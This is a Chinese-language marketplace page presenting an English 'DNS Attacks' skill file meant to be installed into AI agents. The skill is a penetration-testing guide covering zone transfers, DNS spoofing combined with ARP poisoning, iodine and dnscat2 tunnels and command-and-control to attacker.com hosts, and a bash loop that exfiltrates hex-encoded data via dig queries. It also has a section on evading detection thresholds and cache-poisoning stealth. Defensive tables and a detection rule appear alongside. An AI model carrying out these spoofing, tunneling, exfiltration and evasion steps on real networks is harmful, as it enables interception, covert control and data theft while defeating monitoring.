Dns Attacks 标志

Dns Attacks

社区
brucesongs
dns-attacks

DNS Attacks exploit the Domain Name System protocol for reconnaissance, spoofing, tunneling, and data exfiltration. DNS is a foundational infrastructure service that is frequently misconfigured, poorly monitored, and trusted by default -- making it an ideal attack vector.

概览

发布者brucesongs
代码仓库kali-claw
技能名称dns-attacks
星标数
70
复刻数
18
附带文件
15
许可协议MIT
链接
  • Markdown 格式的指令

    模型按需加载 SKILL.md 文件,因此只有在请求确实与该技能匹配时才会消耗 Token。

  • 兼容任何大语言模型

    AI 技能采用纯 Markdown,而非特定提供商的代码,因此可搭配 GPT、Claude、Gemini、Grok 或本地模型使用。

  • 15 个附带文件

    模型执行任务时可读取的脚本、模板和参考资料。这些文件为只读文件,绝不会被执行。

  • 开源

    由 brucesongs 发布于 GitHub。请在安装前查看技能的源文件。

安装

在 TypingMind 中安装 Dns Attacks AI 技能,即可搭配任意大语言模型使用;也可以将其放入其他支持读取 SKILL.md 的智能体中。

1

安装到 TypingMind

TypingMind 可直接从 GitHub 文件夹安装技能:读取 SKILL.md,打包资源文件,并将结果保存在本地。

  1. 打开应用,前往“插件 → 技能”。
  2. 选择“从 GitHub 安装”。
  3. 粘贴下方的技能文件夹 URL 并确认。
    https://github.com/brucesongs/kali-claw/tree/main/skills/dns-attacks
  4. 请在每个需要使用该技能的聊天中启用它。
依次选择“插件 → 技能 → 添加技能 → 从 GitHub URL 导入”,然后粘贴文件夹 URL 并点击“继续”。
2

安装到其他智能体

任何支持 Agent Skills 格式的智能体都可以使用此技能,只需将文件夹复制到该智能体的技能目录中。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/brucesongs/kali-claw.git /tmp/kali-claw
mkdir -p .claude/skills
cp -r /tmp/kali-claw/skills/dns-attacks .claude/skills/dns-attacks
复制后,请重启 Claude Code,以加载新技能。

在 TypingMind 中使用此技能

在任意 TypingMind 聊天中启用 Dns Attacks,后续即可交由模型处理。技能的名称和描述会放在系统提示词中,一旦请求匹配,模型就会自动加载完整指令,无需您手动调用,且在实际使用前不会消耗 Token。

一旦请求与技能匹配,模型就会自动加载 Dns Attacks。

兼容任何 AI 模型

AI 技能是纯 Markdown 指令,而非特定提供商的代码,因此 Dns Attacks 不局限于最初适配的模型。只需在 TypingMind 中安装一次,即可搭配 GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 或您自行运行的本地模型使用,全程使用您自己的 API 密钥。

  • 仅在需要时加载

    系统提示词中仅包含技能名称和描述。首次遇到匹配的请求时才会加载完整指令,因此技能未使用时,这些指令不会消耗 Token。

  • 在聊天中切换模型

    技能是指令而非代码,因此切换模型不会导致技能失效,新模型会读取同一个 SKILL.md。

技能指令

这是模型会加载的 SKILL.md 内容。请在安装前阅读,因为技能就是模型将遵循的指令。

Skill: DNS Attacks

Supplementary Files:

  • payloads.md — DNS attack payload collection: zone transfer attempts, record enumeration, subdomain brute force, DNS spoofing, tunneling, exfiltration commands
  • test-cases.md — Structured test cases: complete test checklist covering DNS enumeration, spoofing, tunneling, C2 communication, and data exfiltration

Summary

DNS is a foundational infrastructure service that is frequently misconfigured, poorly monitored, and trusted by default -- making it an ideal attack vector.

Tools: dnsrecon, dnsenum, fierce, dnschef, dns2tcp, dnscat2, dnswalk, iodine

Domain: network-attack

MITRE ATT&CK: TA0011-Command and Control

Description

DNS Attacks exploit the Domain Name System protocol for reconnaissance, spoofing, tunneling, and data exfiltration. DNS is a foundational infrastructure service that is frequently misconfigured, poorly monitored, and trusted by default -- making it an ideal attack vector. Attackers leverage DNS to map target infrastructure through zone transfers and enumeration, redirect traffic through spoofing and cache poisoning, bypass network restrictions through DNS tunneling, and exfiltrate data through covert DNS channels.

Core Insight: DNS operates on UDP port 53, is rarely filtered by firewalls, and is almost never subjected to deep packet inspection. This makes DNS an ideal covert channel for command-and-control communication and data exfiltration in restricted networks where HTTP/HTTPS traffic is monitored or blocked.

Key Attack Surfaces:

  • DNS Misconfiguration: AXFR zone transfers enabled, verbose error messages, predictable query IDs
  • Spoofing and Cache Poisoning: Forged DNS responses, transaction ID prediction, Kaminsky-style attacks
  • DNS Tunneling: Encoding data within DNS queries and responses using iodine, dns2tcp, dnscat2
  • Data Exfiltration: Encoding sensitive data as subdomain labels in DNS queries to attacker-controlled nameservers
  • DNS Rebinding: Manipulating DNS responses to bypass same-origin policy and access internal services

Use Cases

  1. Infrastructure Reconnaissance - Enumerate DNS records, zone transfers, subdomains, and server configurations to map target attack surface before engagement
  2. DNS Spoofing in MITM Attacks - Redirect victims to malicious servers by spoofing DNS responses in combination with ARP spoofing for man-in-the-middle positioning
  3. Bypassing Network Restrictions - Establish DNS tunnels to bypass captive portals, restrictive firewalls, and network segmentation that blocks HTTP/HTTPS but allows DNS
  4. Covert C2 Communication - Use dnscat2 for encrypted command-and-control channels that evade typical network monitoring and egress filtering
  5. Data Exfiltration - Encode stolen data into DNS queries to exfiltrate through DNS channels that are rarely inspected or logged
  6. Security Assessment and Hardening - Audit DNS configurations for common misconfigurations (open zone transfers, recursion enabled, DNSSEC not deployed)

Core Tools

ToolPurposeCommand Example
dnsreconComprehensive DNS enumeration: zone transfers, record enumeration, brute force, SRV discoverydnsrecon -d target.com -t axfr
dnsenumDNS enumeration with zone transfer, brute force, and Google enumerationdnsenum target.com
fierceLightweight DNS reconnaissance and subdomain brute forcefierce --domain target.com
dnschefDNS proxy for spoofing DNS responses in MITM attacksdnschef --fakeip 192.168.1.100 --interface 0.0.0.0
dns2tcpDNS tunnel for forwarding TCP connections over DNS queriesdns2tcpd -f dns2tcp.conf
dnscat2Encrypted DNS tunnel for C2 communication and data transferruby dnscat2.rb domain.com
dnswalkDNS zone debugger that checks for misconfigurations and reports inconsistenciesdnswalk target.com.
iodineIP-over-DNS tunnel for establishing IPv4 connections through DNSiodined -f -P pass 10.0.0.1 tunnel.domain.com

Auxiliary tools: dig (manual DNS queries), nslookup (basic DNS lookup), host (DNS lookup utility), dnstracer (trace DNS resolution path), dnsperf (DNS performance testing).


Methodology

Attack Chain

[1] Enumerate              [2] Fingerprint          [3] Exploit
  - Zone transfer (AXFR)     - Server version          - DNS spoofing (dnschef)
  - Record enumeration       - Recursion test          - Cache poisoning
  - Subdomain brute force    - DNSSEC validation       - DNS rebinding
  - Reverse lookups          - Configuration audit     - Response manipulation
       |                          |                          |
       v                          v                          v
[4] Tunnel                 [5] Exfiltrate
  - iodine (IP-over-DNS)     - dnscat2 (encrypted C2)
  - dns2tcp (TCP forwarding)  - Custom DNS exfiltration
  - dnscat2 (C2 channel)     - Data encoding in queries

Step-by-Step Approach

1. Enumerate

  • Attempt zone transfers against all discovered nameservers using dnsrecon -d target.com -t axfr
  • Enumerate standard record types: A, AAAA, MX, NS, TXT, SOA, SRV, CNAME, PTR
  • Brute force subdomains with dnsenum and fierce using custom wordlists
  • Perform reverse DNS lookups on target IP ranges to discover hostname mappings
  • Use Bing/Google enumeration via dnsenum for additional subdomain discovery

2. Fingerprint

  • Identify DNS server software and version using dig @ns.target.com version.bind chaos txt
  • Test for open recursion: dig @ns.target.com google.com from an external IP
  • Verify DNSSEC deployment and validate signed zones
  • Check for predictable transaction IDs that enable spoofing attacks
  • Assess whether DNS over TLS (DoT) or DNS over HTTPS (DoH) is configured

3. Exploit

  • Deploy dnschef as a DNS proxy to spoof responses for targeted domains
  • Integrate DNS spoofing with ARP poisoning using arpspoof for MITM positioning
  • Test for DNS cache poisoning vulnerabilities using transaction ID prediction
  • Attempt DNS rebinding attacks by configuring short TTL domains that resolve to internal IPs

4. Tunnel

  • Establish IP-over-DNS tunnels using iodine for full network connectivity
  • Set up dns2tcp for forwarding specific TCP services (SSH, HTTP) over DNS
  • Deploy dnscat2 for encrypted, persistent C2 communication channels

5. Exfiltrate

  • Encode data as subdomain labels in DNS queries to attacker-controlled nameservers
  • Use dnscat2's built-in file transfer for encrypted exfiltration
  • Implement custom DNS exfiltration scripts for targeted data extraction

Defense Perspective

Defense MeasureDescriptionAttack Types Countered
Disable Zone TransfersRestrict AXFR to authorized secondary nameservers onlyReconnaissance, enumeration
Disable Open RecursionConfigure DNS servers to recurse only for trusted clientsDNS amplification, reconnaissance
Deploy DNSSECSign zones and validate responses to prevent spoofingCache poisoning, spoofing
DNS Traffic MonitoringMonitor for unusual query volume, long subdomain labels, specific tunnel patternsTunneling, exfiltration
Egress DNS FilteringRestrict outbound DNS to authorized internal resolvers onlyTunneling, exfiltration, C2
DNS-over-TLS/HTTPSEncrypt DNS queries to prevent MITM spoofingSpoofing, eavesdropping

Practical Steps

1. DNS Enumeration Phase

bash
# Zone transfer attempt against all nameservers
dnsrecon -d target.com -t axfr

# Comprehensive enumeration with dnsenum
dnsenum --enum target.com

# Subdomain brute force with fierce
fierce --domain target.com --subbrute

# Manual record enumeration with dig
dig target.com ANY +noall +answer
dig target.com MX +noall +answer
dig target.com TXT +noall +answer

2. DNS Fingerprinting

bash
# Query DNS server version
dig @ns1.target.com version.bind chaos txt

# Test for open recursion
dig @ns1.target.com google.com

# Check DNSSEC
dig target.com DNSKEY +short
dig target.com A +dnssec

3. DNS Spoofing

bash
# Start dnschef to spoof specific domains
dnschef --fakeip 192.168.1.100 --interface 0.0.0.0 --file spoof_hosts.ini

# Combined with ARP spoofing for MITM
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1

4. DNS Tunneling

bash
# Server side - iodine
iodined -f -P secretpass 10.0.0.1 tunnel.attacker.com

# Client side - iodine
iodine -f -P secretpass dns.attacker.com tunnel.attacker.com

# dnscat2 server
ruby dnscat2.rb --secret=secretkey tunnel.attacker.com

5. DNS Exfiltration

bash
# Simple data exfiltration via DNS queries
# Encode data as hex subdomain labels
echo -n "sensitive_data" | xxd -p | fold -w 30 | while read line; do
  dig $line.exfil.attacker.com @attacker_dns_ip
done

For detailed payloads see payloads.md, and for the complete test checklist see test-cases.md.


Common Pitfalls

  • Assuming zone transfers are disabled: Many organizations still have at least one nameserver that allows AXFR from any source. Always test all discovered nameservers individually rather than assuming uniform configuration.
  • Ignoring reverse DNS lookups: Forward enumeration finds subdomains, but reverse lookups on IP ranges often reveal hostnames, internal naming conventions, and services not discoverable through forward queries alone.
  • Neglecting DNS traffic monitoring: DNS tunneling generates significantly more queries than normal traffic, with consistently long subdomain labels. Failing to monitor for these patterns allows tunnels to persist indefinitely.
  • Using default tunnel configurations: Tools like iodine and dnscat2 have well-known default settings and query patterns that are easily flagged by DNS monitoring solutions. Always customize query types, intervals, and domain structures.

Detection Methods

DNS Layer Indicators

  • Cache poisoning signatures: Multiple responses for same query (signature of Kaminsky attack).
  • DNS tunneling: Long queries, TXT record bursts, high-entropy subdomains (dnscat2/iodine signatures).
  • NXDOMAIN spikes: High rate of NXDOMAIN responses (water torture / subdomain enumeration).
  • DNSSEC validation failures: Misconfigured DNSSEC; alert on sudden validation rate drop.

SIEM Detection Rules

  • Splunk SPL: index=dns | where len(query) > 50 OR query matches "^[A-Za-z0-9+/=]{30,}\\." | stats count by src_ip
  • PassiveDNS: Record all DNS lookups; detect command-and-control infrastructure.
  • Cisco Umbrella / Quad9: Native DNS-layer security.

Defense Evasion Techniques

Tunneling Stealth

  • Encoding tricks: Base32 encoding (DNS-safe); harder to detect than hex.
  • Distribute across domains: Use many domains; below per-domain rate threshold.
  • TXT records over A: TXT allows larger payloads per query; fewer queries needed.
  • Slow & low: Pace tunneling below 5 req/sec; below detection threshold.

Subdomain Enumeration Stealth

  • Use legitimate DNS providers: Cloudflare DNS (1.1.1.1), Google (8.8.8.8); blends with normal traffic.
  • Certificate Transparency: Use crt.sh instead of direct enumeration; passive recon.
  • Wildcard detection avoidance: Probe known-existent subdomain first to detect wildcard.

Cache Poisoning Stealth

  • Time-shifted attack: Poison cache during low-traffic window; less monitoring attention.
  • Target less-monitored resolvers: Open resolvers, ISP resolvers with limited logging.
  • Spoof source IP: Use amplification reflection; hide true source.

DNSSEC Avoidance

  • Target unsigned zones: Operate against zones without DNSSEC; bypass validation.
  • Algorithm confusion: Exploit DNSSEC algorithm downgrade weaknesses.
  • NSEC3 walking: Zone walking via NSEC3 records; gather subdomains.

Automation and Scripting

Automate DNS reconnaissance by chaining dnsrecon's enumeration modes with custom scripts that parse results and feed discovered subdomains into further testing. Use dnsenum's built-in Google dorking for passive subdomain discovery before active brute force. For tunneling, script iodine's connection establishment with automatic interface configuration and route addition. Build custom DNS exfiltration tools using Python's dnslib library that encode data into query labels, chunk appropriately for DNS size limits, and handle retransmission for lost responses. Monitor tunnel health with periodic ping probes through the DNS channel.

Reporting and Documentation

DNS findings should document the specific misconfigurations discovered with evidence (zone transfer output showing all records, recursion test results, DNSSEC validation failures). For tunneling demonstrations, record the bandwidth achieved, the data transferred, and the DNS query patterns generated. Map spoofing attacks to MITM attack chains showing the full path from ARP poisoning through DNS spoofing to traffic interception. Include specific remediation: AXFR restriction configuration snippets for BIND and PowerDNS, DNSSEC deployment steps, and DNS monitoring rule recommendations (Suricata/Snort signatures for tunnel detection).

Legal and Ethical Considerations

DNS enumeration (zone transfers, record queries) against publicly accessible nameservers is generally permissible as these are public-facing services. However, aggressive brute-force enumeration that generates thousands of queries may trigger rate limiting or abuse alerts. DNS spoofing requires network-level access (same broadcast domain for ARP spoofing) and explicit authorization. DNS tunneling against production networks without authorization may violate acceptable use policies and could disrupt legitimate DNS resolution. Never exfiltrate actual sensitive data during testing; use test data that demonstrates the capability without exposing real information.

Integration with Other Tools

DNS attack findings chain directly into multiple attack paths. DNS enumeration results (subdomains, IP ranges) feed into network-pentest for service scanning and vulnerability-assessment for broader assessment. DNS spoofing integrates with network-level MITM attacks using arpspoof and Bettercap, connecting to web-application testing for credential interception. DNS tunneling and exfiltration complement post-exploitation techniques for maintaining persistence and moving data out of restricted networks. DNS rebinding attacks connect to web-ssrf for exploiting server-side request forgery through DNS manipulation.

Case Studies and Examples

  • Open zone transfer reveals entire infrastructure: During an engagement, a zone transfer attempt against a secondary nameserver returned over 2,000 DNS records including internal subdomains (gitlab.internal.corp.com, jenkins.build.corp.com), staging environments, and development servers. This single misconfiguration provided a complete map of the organization's infrastructure, reducing reconnaissance from days to minutes.
  • DNS tunnel bypasses captive portal: In a network assessment where all HTTP/HTTPS traffic was intercepted by a captive portal requiring authentication, iodine was used to establish an IP-over-DNS tunnel. The tunnel provided full TCP connectivity, allowing the assessor to SSH into an external server and bypass the network restriction entirely, as DNS queries to the internet were allowed without authentication.
  • dnscat2 maintains C2 after firewall hardening: After a red team gained initial access to a target network, the blue team hardened egress filtering to block all outbound HTTP/HTTPS connections. The red team switched to dnscat2 for command and control, using DNS queries to an attacker-controlled domain. The encrypted DNS channel maintained persistence for the remaining engagement period undetected.

Detection and Evasion

Defenders detect DNS attacks through: high-volume AXFR attempts from unrecognized IPs, unusual query patterns (excessively long subdomain labels consistent with tunneling), DNS response anomalies (mismatched transaction IDs, unexpected response sources), and statistical deviations in query volume or timing. DNS monitoring tools like PassiveDNS, dnscat2's detection signatures, and Suricata rules for known tunnel patterns can identify malicious DNS activity. To evade detection during testing: randomize query intervals to avoid statistical detection, limit tunnel bandwidth to blend with normal traffic, use TXT or NULL record types instead of the more commonly monitored CNAME, and rotate through multiple attacker-controlled domains to distribute query patterns.

Advanced Techniques

Advanced DNS attack techniques include: Kaminsky-style cache poisoning using predictable transaction IDs and source ports, DNS rebinding with precise timing to bypass same-origin policy in web browsers, DNS-based reflection and amplification attacks leveraging open resolvers (achieving 28-54x amplification factors), blind DNS enumeration via zone walking with NSEC records, and DNS-over-HTTPS tunneling that encapsulates DNS within encrypted HTTPS traffic to evade traditional DNS monitoring. For red team operations, DNS beaconing through Cobalt Strike's DNS communication channel provides low-and-slow C2 that generates minimal per-query traffic while maintaining persistent connectivity.

Tool Comparison Matrix

ToolBest ForSpeedStealthSkill Level
dnsreconComprehensive DNS enumerationFastLow (active)Beginner
dnsenumAll-in-one enumerationModerateLow (active)Beginner
fierceLightweight subdomain brute forceFastModerateBeginner
dnschefDNS spoofing and redirectionFastHigh (local)Intermediate
iodineIP-over-DNS tunnelingModerate (bandwidth-limited)Low (noisy)Intermediate
dns2tcpTCP forwarding over DNSModerateModerateIntermediate
dnscat2Encrypted DNS C2 channelSlow (intentional)High (encrypted)Advanced
dnswalkDNS misconfiguration auditingFastHigh (passive)Beginner

Hacker Laws

  1. Trust is a Vulnerability -- DNS relies on a chain of trust from root servers through TLD servers to authoritative servers, with no built-in confidentiality. Every query is sent in plaintext by default. The protocol was designed for a cooperative, trusted network -- not the adversarial internet it operates on today. Exploiting DNS means exploiting misplaced trust in infrastructure.

  2. Protocol Abuse is Invisible -- DNS tunneling and exfiltration work because DNS is considered "normal" traffic. Firewalls allow it, monitors rarely inspect it, and administrators trust it. The most effective attack channels are those that hide in plain sight using protocols that security infrastructure ignores by default.

  3. Defense in Depth -- No single DNS security measure is sufficient. DNSSEC prevents spoofing but does not stop tunneling. Egress filtering stops tunneling but does not prevent enumeration. Zone transfer restriction prevents enumeration but does not stop brute force. Layer DNSSEC, monitoring, filtering, and access controls for comprehensive protection.

  4. Assume Misconfiguration -- DNS infrastructure is frequently managed by administrators who are not security specialists. Misconfigurations (open recursion, unrestricted zone transfers, missing DNSSEC) are the norm rather than the exception. Always test for the simplest misconfiguration before attempting sophisticated attacks.


Learning Resources

Skill supplementary files: payloads.md, test-cases.md

Related skills:

  • skills/network-pentest/SKILL.md — Network penetration testing: DNS spoofing integrates with MITM attack chains
  • skills/recon-osint/SKILL.md — OSINT reconnaissance: DNS enumeration as a passive intelligence source
  • skills/post-exploitation/SKILL.md — Post-exploitation: DNS tunneling and exfiltration for maintaining access

External resources:

附带文件

技能加载后,模型会按需读取这些文件。它们仅作为可读文件提供,绝不会被执行。

常见问题

Dns Attacks AI 技能有什么作用?

DNS Attacks exploit the Domain Name System protocol for reconnaissance, spoofing, tunneling, and data exfiltration. DNS is a foundational infrastructure service that is frequently misconfigured, poorly monitored, and trusted by default -- making it an ideal attack vector.

为什么在 TypingMind 中使用 Dns Attacks?

因为您只需安装一次,就能搭配任何模型使用。Dns Attacks 采用纯 Markdown 格式,而非特定提供商专用的代码,因此同一技能可用于 GPT-5、Claude、Gemini、Grok 或本地模型。您甚至可以在聊天中途切换模型,而不会影响技能的正常使用。TypingMind 使用您自己的 API 密钥,因此您直接向提供商付费,而不是按席位订阅;您的技能和聊天记录也都保留在您自己的存储空间中。

如何在 TypingMind 中安装 Dns Attacks?

在 TypingMind 中打开“插件 → 技能 → 从 GitHub 安装”,然后粘贴 https://github.com/brucesongs/kali-claw/tree/main/skills/dns-attacks。TypingMind 会读取其中的 SKILL.md,打包相关文件,并将其安装为技能,供您在各个聊天中按需启用。

哪些 AI 模型可以使用 Dns Attacks?

您在 TypingMind 中连接的任何模型都可以。AI 技能采用纯 Markdown 指令,而非特定提供商专用的代码,因此 GPT、Claude、Gemini、Grok 和本地模型都能在请求匹配时加载此技能。

Dns Attacks 可以搭配多少个 AI 模型使用?

数量不限。只要模型支持技能,您就可以将它与 Dns Attacks 搭配使用。GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 等模型都可以通过您自己的 API 密钥接入 TypingMind。

Dns Attacks AI 技能免费吗?

是的。brucesongs 已在 GitHub 上根据 MIT 许可证发布了该技能。您只需向自己的 AI 提供商支付所用 Token 的费用。

什么是 AI 技能?

AI 技能是一组可复用的指令,用于教会 AI 模型完成某项特定任务。它遵循开放的 Agent Skills 格式:包含名称和描述的 SKILL.md 文件,以及模型可能需要的脚本、模板或参考文件。模型仅在您的请求与技能匹配时才会读取这些指令,因此已安装的技能在使用前不会产生任何费用。

AI 技能与插件或 MCP 服务器有何不同?

插件或 MCP 服务器为模型提供可调用的新工具,也就是在某处运行并返回结果的代码。AI 技能则为模型提供知识和流程:如何处理任务、遵循哪些步骤,以及怎样的输出才算优质。技能采用纯 Markdown 格式,因此不需要服务器、API 密钥或运行时环境,并且适用于任何模型。

查看全部

立即创建您自己的 AI 工作区

订阅我们的电子简报,获取新功能和后续赠奖活动的通知 👇